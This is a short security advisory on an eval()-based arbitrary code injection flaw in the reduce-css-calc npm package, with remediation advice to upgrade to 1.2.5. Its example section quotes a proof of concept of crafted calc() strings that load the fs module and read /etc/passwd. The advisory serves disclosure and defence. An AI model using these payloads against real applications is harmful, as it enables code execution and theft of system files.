Arbitrary Code Injection

Overview

reduce-css-calc is a package that reduces CSS calc() function to the maximum. Affected versions of the package used eval() for evaluation the expression, allowing the attacker to gain arbitrary code execution via specially crafted input.

Example

The issue was reported by ChALkeR and demonstrated by his example below:

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Remediation

Upgrade reduce-css-calc version 1.2.5 or greater.

References

• https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9
• https://github.com/MoOx/reduce-css-calc/blob/master/CHANGELOG.md#125---2016-08-22